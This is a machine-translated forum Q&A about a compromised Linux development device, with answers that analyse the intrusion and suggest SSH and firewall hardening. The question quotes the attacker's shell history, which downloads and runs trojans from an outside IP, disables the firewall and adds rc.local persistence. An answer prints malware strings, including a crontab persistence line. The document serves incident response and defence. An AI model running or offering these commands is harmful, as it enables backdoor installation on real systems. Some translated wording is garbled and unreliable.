題 我剛被黑了嗎?


我正在開發一種消費產品,它應該連接到互聯網,正如預期的那樣,它連接到互聯網,以便我可以正確地開發它。

我走了一兩個小時,當我回到辦公室時,我注意到終端上寫了一些奇怪的命令。

查看名為的Linux日誌文件 auth.log 我可以看到以下幾行(還有更多):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

IP地址 40.127.205.162 原來是 由微軟擁有

以下是我離開時使用的一堆命令:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

和更多:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

我完全沒有意識到這一點。如何正確保護我的產品?

我想發布完整的 auth.log 文件。我怎麼做?

另外,該文件 yjz1 下載的似乎是一個Linux木馬 所有這些似乎都是由某種黑客組織完成的 http://anti-hacker-alliance.com/index.php?ip=40.127.205.162

我應該致電微軟並與他們交談嗎?我該怎麼辦?


485
2018-02-01 11:21


起源


是的,看起來不太好。無論如何我都不是Linux方面的專家,但有些人肯定試圖在那裡執行。我不太確定如何嘗試以root身份登錄並失敗。你的auth.log中還有其他日誌嗎?任何其他遠程管理員方式?我已經看到啟用了VNC服務器的Mac會在通過之前被黑客入侵,儘管這看起來像是SSH嘗試。看起來它下載的IP是在中國的某個地方託管的。 - Jonno
你被強迫了。這就是為什麼即使您有密碼,也不會在互聯網上留下ssh服務器。如今,任何缺少基於密鑰的身份驗證都不夠安全。 - Journeyman Geek♦
好吧,我們有 security.stackexchange.com。但首先要做的是:受感染的主機不再受信任。把它從網絡上取下來。如果可能的話,進行備份,以便您可以研究已完成的工作以及完成的工作。接下來從乾淨的源重新安裝操作系統。從備份還原數據。 保護系統 所以你不會再被感染。強烈建議他們了解他們是如何進入的。 (因此建議製作受感染系統的副本)。 - Hennes
僅供參考:40.127.205.162是一個 Microsoft Azure 根據GeoIP的IP地址。因此,你不能責怪微軟的攻擊 - 這相當於指責亞馬遜,因為有人使用EC2進行垃圾郵件。微軟唯一可以做的就是讓攻擊者離開Azure,但他們馬上就會回到不同的雲平台上。 - nneonneo
事實上,如果這是寫在您的終端,黑客可能坐在下一個隔間。 - isanae


答案:


編輯2

有一個很好的理由說明這篇文章吸引瞭如此多的關注:你設法在PC上記錄入侵者的整個實時會話。這與我們的日常經歷非常不同,我們處理他的行為後果的發現並嘗試糾正它們。在這裡,我們看到他在工作,看到他在建立後門時遇到一些問題,回溯他的步驟,狂熱地工作(也許是因為他坐在你的辦公桌前,如上所述,或者也許,在我看來更可能,因為他是無法在系統上運行惡意軟件,請參閱下文),並嘗試部署完全獨立的控制工具。 這是安全研究人員每天與他們見證的 蜂蜜陷阱。對我來說,這是一個非常難得的機會,也是一種娛樂的源泉。


你肯定被黑了。證據就是這樣  來自的片段 auth.log 您顯示的文件,因為這會報告在短時間內(2秒)發生的登錄嘗試失敗。你會注意到第二行說明 Failed password,而第三個報告a pre-auth 斷開:那傢伙嘗試並失敗了。

證據來自兩個文件的內容 http://222.186.30.209:65534/yjz 和 http://222.186.30.209:65534/yjz1 攻擊者下載到您的系統上。

該網站目前對所有人開放,我做了。我第一次跑 file 在他們身上,表明:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

然後我將它們帶到我擁有的64位Debian VM上;通過審查他們的內容 strings 命令顯示了許多可疑的內容(參考各種眾所周知的攻擊,要替換的命令,明確用於設置新服務的腳本等)。

然後我生成了兩個文件的MD5哈希值,並將它們送入 庫姆的 哈希數據庫,看他們是否是已知的惡意軟件代理。而 yjz不是, yjz1 是的,Cymru報告反病毒軟件檢測的概率為58%。它還聲明這個文件是在三天前最後一次出現的,所以它最近是合理的。

運行 clamscan (的一部分 clamav package)我獲得的兩個文件:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

所以我們現在確定標準Linux軟件可以識別它。

你該怎麼辦? 

雖然相當新,但這兩個系統都不是很新的, 請參閱2015年1月關於XorDdos的文章, 例如。所以大多數免費軟件包應該能夠刪除它。你應該試試: clamavrkhunterchkrootkit。我用谷歌搜索,看到他們聲稱能夠發現它。使用它們檢查前任的工作,但在運行這三個程序後,您應該準備好了。

至於更大的問題, what should you do to prevent future infections,Journeyman的答案是一個很好的第一步。請記住,這是一場持續的鬥爭,我們所有人(包括我!)都可能在不知情的情況下失敗。

編輯

在Viktor Toth的(間接)提示中,我想補充幾點意見。入侵者肯定遇到了一些困難:他下載了兩個不同的黑客工具,多次更改權限,重啟幾次,並嘗試多次禁用防火牆。很容易猜到發生了什麼:他希望他的黑客工具能夠向他受感染的PC之一打開一個通信通道(見後文),當他沒有看到這個新通道出現在他的控制GUI上時,擔心他的黑客攻擊防火牆阻止了工具,因此他重複安裝過程。我同意Viktor Toth的說法,他的這個特殊階段似乎沒有帶來預期的成果,但我想鼓勵你 非常強烈 不要低估你的電腦受到的損害程度。

我在這裡提供了部分輸出 strings yjz1

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

這提供了篡改服務的證據(在 /etc/init.d 並在 /etc/rc.d),有 crontab,與歷史文件 mysql,還有幾個文件 proc 這是鏈接到 bash (這表明已經種植了定制的shell的欺詐版本)。然後程序生成HTTP請求(到中文網站,

 Accept-Language: zh-cn

這為David Schwartz上面的評論提供了實質內容,這可能會造成更大的破壞。在請求中,二進製文件(Content-Type: application/x-www-form-urlencoded)將被下載到受攻擊的PC(GET)並上傳到控制機器(POST)。我無法確定將被下載到受攻擊的PC的內容,但是,考慮到兩者的小尺寸 yjz 和 yjz1 (分別為1.1MB和600kB),我可以冒昧地猜測隱藏rootkit所需的大多數文件,  改變版本的 lsnetstatpsifconfig,...,將以這種方式下載。這可以解釋攻擊者試圖下載這種下載的狂熱嘗試。

無法確定以上所有可能性:我們當然缺少部分成績單(第457和481行之間),我們看不到註銷;此外,特別令人擔憂的是495-497行,

cd /tmp;  ./yd_cd/make

它指的是我們沒有看到下載的文件,以及哪些文件 威力 是一個彙編:如果是這樣,它意味著攻擊者(最終?)了解他的可執行文件的問題是什麼,並且正在嘗試修復它,在這種情況下,被攻擊的PC已經好了。 [事實上,攻擊者下載到黑客機器上的惡意軟件的兩個版本(以及我在64位Debian VM上的惡意軟件)是針對一個不合適的架構,x86,而黑客入侵的個人電腦的名稱卻給出了這樣的事實:他正在處理一個手臂架構]。

我編寫此編輯的原因是盡可能強烈地敦促您使用專業儀器梳理系統,或者從頭開始重新安裝。

並且,順便說一下,如果這對任何人都有用,那麼這就是它的列表 331 IP地址 yjz 試圖連接。這個列表是如此之大(並且可能注定會變得更大),我相信這是篡改的原因 mysql。另一個後門提供的清單是相同的,我認為這是將這些重要信息公開的原因(I 認為 攻擊者不希望以內核格式存儲它們,因此他將整個列表放在一個明文文件中,這可能是他所有的後門程序所讀取的,無論哪個操作系統都是:

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

以下代碼

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

在上面的列表中顯示 302 總共 331 地址在中國大陸,其餘地址在香港,蒙古,台灣。這進一步支持了David Schwartz的論點,即這主要是一個中國機器人圈。

編輯3

在@ vaid的請求(OP的作者,閱讀下面的評論)中,我將添加關於如何加強基本Linux系統安全性的評論(對於提供許多服務的系統,這是一個更複雜的主題)。 vaid 他說他做了以下事情:

  1. 重新安裝系統

  2. 將root密碼更改為16個字符長的密碼,其中包含混合的大寫和小寫字母以及字符和數字。

  3. 將用戶名更改為6個混合字符長用戶名,並應用與root用戶相同的密碼

  4. 將SSH端口更改為5000以上的值

  5. 關閉SSH root登錄。

這很好(除了我使用10,000以上的端口,因為許多有用的程序使用10,000以下的端口)。但 我不能強調需要使用加密密鑰進行ssh登錄而不是密碼。我會舉個例子。在我的一個VPS上,我不確定是否要更改ssh端口;我把它保留在22,但使用加密密鑰進行身份驗證。我有 數以百計 闖入嘗試 每天沒有人成功。當我厭倦每天檢查沒有人成功時,我最終將端口切換到10,000以上,闖入嘗試為零。請注意,不是黑客是愚蠢的(他們不是!),他們只是追捕更容易的獵物。

使用RSA作為簽名算法很容易激活加密密鑰,請參閱Jan Hudec的下面的評論(謝謝!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

現在你要做的就是複製文件 id_rsa 到您要連接的機器(在目錄中 .ssh,也 chmod'ed to 700),然後發出命令

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

如果您確定這樣可行,請在服務器(=您要連接的計算機)上編輯該文件 /etc/ssh/sshd_config,並改變線

#PasswordAuthentication yes

PasswordAuthentication no

並重新啟動 ssh 服務(service ssh restart 要么 systemctl restart ssh,或類似的東西,取決於發行版)。

這將經受住很多。實際上,目前還沒有針對當前版本的已知漏洞 openssh v2和。採用的RSA openssh v2

最後,為了真正地壓縮你的機器,你需要配置防火牆(netfilter / iptables),如下所示:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

這,1)允許來自LAN和WAN的ssh連接,2)允許所有由您的請求發起的輸入(例如,當您加載網頁時),3)丟棄輸入上的所有其他內容,4)允許所有內容輸出,5-6)允許環回接口上的所有內容。

隨著您的需求增長,需要打開更多端口,您可以通過在列表頂部添加以下規則來實現:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

允許例如人們訪問您的Web瀏覽器。


481
2018-02-01 16:05



這很好看。我也試過這個文件 yjz1 通過谷歌 VirusTotal.com 這給了積極的。我甚至都沒看到 yjz已被下載。謝謝。 - vaid
小心跑步 strings 關於不受信任的數據。 lcamt​​uf.blogspot.com/2014/10/... - Matt Nordhoff
@MattNordhoff感謝您指出這一點,我幸福地沒有意識到這一點。但是,在我的Debian上,'strings`命令通過你用飛行顏色鏈接的測試。我認為這是因為手冊說明: -a ...通常這是默認行為。乾杯。 - MariusMatutiae
這個答案顯示了一種應該成為範例的方法:1。不要讓失敗的嘗試轉移你的注意力,提醒你。 2.個別化攻擊者的成功行為。 3.研究攻擊者的行為和方式。 4.從頭開始安裝或從最後一個未受損壞(受攻擊)的備份安裝,添加您找到的所需額外保護(第3點)。 5.幫助其他人保護自己(受到攻擊/可疑的IP列表)。 - Hastur
[經過@MariusMatutiae評論後編輯] - 儘管如此,OP應該意識到在受損系統上, 一切 可執行文件必須被認為是惡意的,即使是shell, ls, who 或其他任何東西。通過使用受感染系統上的任何可執行文件“搶救數據”(例如, scp 要么 rsync)可能會損害更多的機器。 - Dubu


歡迎來到互聯網 - 任何開放的SSH服務器都可能會受到探測,暴力破解,並對其施加各種侮辱。

首先,您需要完全擦除產品上的存儲空間。想像一下,如果你想傳遞它進行取證,但是現在對它的Linux安裝是可疑的。

有點猜測但是

  1. 你被強奸了 要么 使用通用密碼。默默無聞是安全的,但你不需要字典密碼 要么 使用對SSH開放的root帳戶。如果它是一個選項或者至少更改名稱以便他們需要猜測兩者,請禁用root SSH訪問。無論如何,以root身份進行SSH是一種糟糕的安全措施。如果必須使用root,請以其他用戶身份登錄並使用su或sudo進行切換。

  2. 根據產品的不同,您可能希望以某種方式鎖定SSH訪問。完全鎖定聽起來像個好主意,並允許用戶打開它 如所須。根據您可以節省的資源,請考慮僅在您自己的子網中使用IP地址,或者使用某種登錄限制系統。如果您在最終產品上不需要它,請確保它已關閉。

  3. 使用非標準端口。再次默默無聞的安全性,但這意味著攻擊者需要針對您的端口。

  4. 不要使用默認密碼。我見過的最好的方法是隨機生成特定設備的密碼並隨產品一起發貨。最佳實踐是基於密鑰的身份驗證,但我不知道您如何在大眾市場產品上實現這一點。


140
2018-02-01 13:24



5.盡可能使用公鑰身份驗證。密碼驗證遠遠不那麼安全。 - Bob
是的,但如果它是一個消費者設備,它可能不是一個選擇。在開發盒上,這聽起來很棒。在服務器上,好吧,我之前確實被黑了; p - Journeyman Geek♦
如果它是消費者設備,那麼所有這些上的相同隨機密碼或密鑰也是一個壞主意。基於其序列號,MAC或其他可識別信息的任何內容。 (許多SoHO調製解調器/路由器/ WAP似乎錯過了什麼)。 - Hennes
它是一種消費者設備。但是,絕大多數目標消費者的教育程度不足以了解SSH是什麼。因此SSH可以關閉,很可能會被關閉。 - vaid
另外,使用 的fail2ban。 - Shadur


哦,你肯定被黑了。有人似乎已獲得root憑據並嘗試將特洛伊木馬下載到您的系統。 MariusMatutiae提供了有效載荷的分析。

出現兩個問題:a)攻擊者是否成功?並且b)你能做些什麼呢?

第一個問題的答案 可以 不是。注意攻擊者如何反复嘗試下載並運行有效負載,顯然沒有成功。我懷疑某事(SELinux,偶然嗎?)擋在他的路上。

但是:攻擊者也改變了你的行為 /etc/rc.d/rc.local 文件,希望當您重新啟動系統時,將激活有效負載。如果尚未重新啟動系統,請在重新啟動這些更改之後再重新啟動 /etc/rc.d/rc.local。如果你已經重新開始了......好吧,運氣不好。

至於你能做些什麼:最安全的做法是擦拭系統並從頭開始重新安裝。但這可能並不總是一種選擇。如果可以的話,一個明顯不那麼安全的事情就是準確地分析發生了什麼並擦掉它的每一個痕跡。同樣,如果你還沒有重新啟動系統,也許它只需要乾淨 /etc/rc.d/rc.local,刪除攻擊者下載的任何內容,最後但並非最不重要的是,更改密碼!

但是,如果攻擊者已經能夠運行有效負載,則可能對系統進行其他可能難以檢測的修改。這就是為什麼完整的擦拭真的是唯一安全(和推薦)的選擇。正如您所指出的那樣,所討論的設備可能是測試/開發目標,因此擦拭它可能不像其他情況那樣痛苦。

更新:儘管我寫了關於可能恢復的內容,但我希望回應MariusMatutiae的觀點 非常強壯 建議不要低估這種有效載荷造成的潛在損害以及它可能危及目標系統的程度。


33
2018-02-01 21:06



謝謝。我決定擦拭系統。我重新啟動了幾次,但只是為了複製一些基本數據。沒有二進製文件,只有源代碼。我想我現在很安全。 - vaid
那個局域網上的其他盒子怎麼樣? - WGroleau
好問題。提供的shell歷史記錄不表示任何嘗試發現和危害同一網絡上的其他框。更一般地說,如果攻擊者獲得對盒子的SSH(root)訪問權限,那麼它基本上意味著他繞過了任何外圍防火牆。但是,它並不會自動暗示其他盒子被洩露:這將需要其他東西,如未修補的漏洞,盒子之間共享的密碼,從一個盒子到另一個盒子的自動登錄等。 - Viktor Toth


我的sshd-honeypot也看到了這種攻擊。從該URL開始的第一次下載開始於2016-01-29 10:25:33並且攻擊仍在進行中。 攻擊來自

103.30.4.212
111.68.6.170
118.193.228.169

這些攻擊者的輸入是:

服務iptables停止
wget http://222.186.30.209:65534/yjz1
nohup / root / yjz1> / dev / null 2>&amp1&
chmod 0777 yjz1
chmod u + x yjz1
./yjz1&
chmod u + x yjz1
./yjz1&
cd / tmp

因此,除了以後安裝後門之外,沒有其他活動。


17
2018-02-02 10:34



同意,它是相同的MO。 - MariusMatutiae
@MariusMatutiae那麼這不是手動黑客嗎?這是一種自我傳播的蠕蟲/機器人? - NickG
@NickG我最好的猜測是,這不是一個手動黑客。 vaid與中國殭屍網絡的發起人在同一辦公室工作的概率是多少?有人在他的機器上發現了一個可利用的弱點,很可能是一個弱安全的ssh服務器,暴力強迫他的密碼,獲得訪問權限,試圖偷偷摸摸地安裝自己。但是,我還打賭攻擊者使用Windows比使用Linux更流暢。但我沒有 硬 證明這一點,只是一個有根據的猜測。 - MariusMatutiae


這裡的每個人都提供了可靠的建議,但要明確的是,您的優先事項應該是備份並驗證您真正需要的系統,然後使用已知安全媒體的全新安裝進行擦除。

在將新安裝的主機連接到Internet之前,請運行以下想法:

  1. 創建新的非root用戶,並以該用戶身份登錄。您永遠不需要以root身份登錄,只需要sudo(替換用戶do)。

  2. 安裝SE Linux,啟用強制訪問控制的配置設置: https://wiki.debian.org/SELinux/Setup

  3. 考慮辦公室/家庭和互聯網之間的硬件防火牆。我使用MicroTik,它有很好的社區支持: http://routerboard.com/

假設您正在完成付費工作的時間表,至少做#1。 #3快速且便宜,但您需要在郵件中等待包裹,或者開車到商店。


11
2018-02-01 23:32



而且,最重要的是,不要讓你的電腦在無人看管的情況下打開root會話! - MariusMatutiae


  1. Debian的armhf 你的主機名?或者您使用默認設置的默認安裝?這沒有問題,但你不應該讓主機直接暴露在互聯網上(至少不受你的調製解調器保護)。

  2. 看起來真正的麻煩來自於 222.186.30.209 (看到 http://anti-hacker-alliance.com/index.php?ip=222.186.30.209)。你不應該注意看微軟的IP。 IP可以或多或少地被偽造/欺騙。

  3. 連接到Internet的常用方法是將已知的端口列表從您的公共IP(例如8.8.8.8)轉發到您的本地(例如192.168.1.12)。

    • 例如,不要轉發所有傳入連接 8.8.8.8 (公共)到 192.168.1.12 (本地)。

    • 僅轉發端口 22 和 25 (分別是ssh和收到的郵件)。當然,你應該擁有最新版本 SSH 和 SMTP 包/庫也是如此。

  4. 下一步是什麼?斷開主機,並更改在shell腳本中硬編碼的任何密碼(在與組織關聯的任何計算機上)(羞恥!) /etc/shadow


11
2018-02-01 13:03



是的 Debian的armhf 是主機名。 2.是的我已閱讀該文章,並通過其網站cest.microsoft.com與Microsoft聯繫。我只轉發了25和22,沒有其他轉發。我會這樣做的 - vaid
“IP可以或多或少地偽造”:我不是安全人員,也不是網絡專家。怎麼可能? - kevinarpe
@kevinarpe作為一個單獨的問題,這可能會好得多。 - α CVn
看到 stackoverflow.com/questions/5180557/... 和 superuser.com/questions/37687/... - Archemar
@Archemar:SSH是TCP;偽造TCP源IP即使不是不可能也很困難。另外,如上所述,Microsoft IP屬於他們的雲服務Azure,這意味著任何人都可以購買該服務的時間來攻擊他人。 - nneonneo


正如其他人所說,很明顯服務器的安全性受到了損害。最安全的是擦拭這台機器並重新安裝。

要回答問題的第二部分,如果您不能使用公鑰驗證,我建議至少在非標準端口上設置Fail2Ban並運行SSH。我還禁用了root SSH訪問。

的fail2ban 通過禁止無法登錄一定次數的IP地址,將有助於緩解暴力攻擊。

將sshd設置為偵聽非標準端口至少會有助於降低SSH服務器的可見性。禁用root登錄也會略微降低攻擊配置文件。在 /etc/sshd_config

PermitRootLogin no
Port xxxxx

禁用root登錄後,您需要切換到root su 一旦你連接,或(更好)使用 sudo 執行特權命令


9
2018-02-02 16:58



我已經完成了這兩項工作,感謝您的建議。 - vaid


SSH服務器經常受到互聯網的攻擊。你要做的幾件事:

  1. 確保您使用非常安全的隨機密碼,用於可訪問Internet的計算機。我的意思是16個字符或更多,完全隨機。使用密碼管理器,這樣您就不必記住密碼管理器。如果你能記住你的密碼,那就太簡單了。

  2. 如果您不需要SSH,請將其關閉。如果確實需要它,但不需要它可公開訪問,請在高的非標準端口號上運行它。這樣做可以大大減少黑客攻擊。是的,專門的黑客可以進行端口掃描,但自動機器人無法找到它。

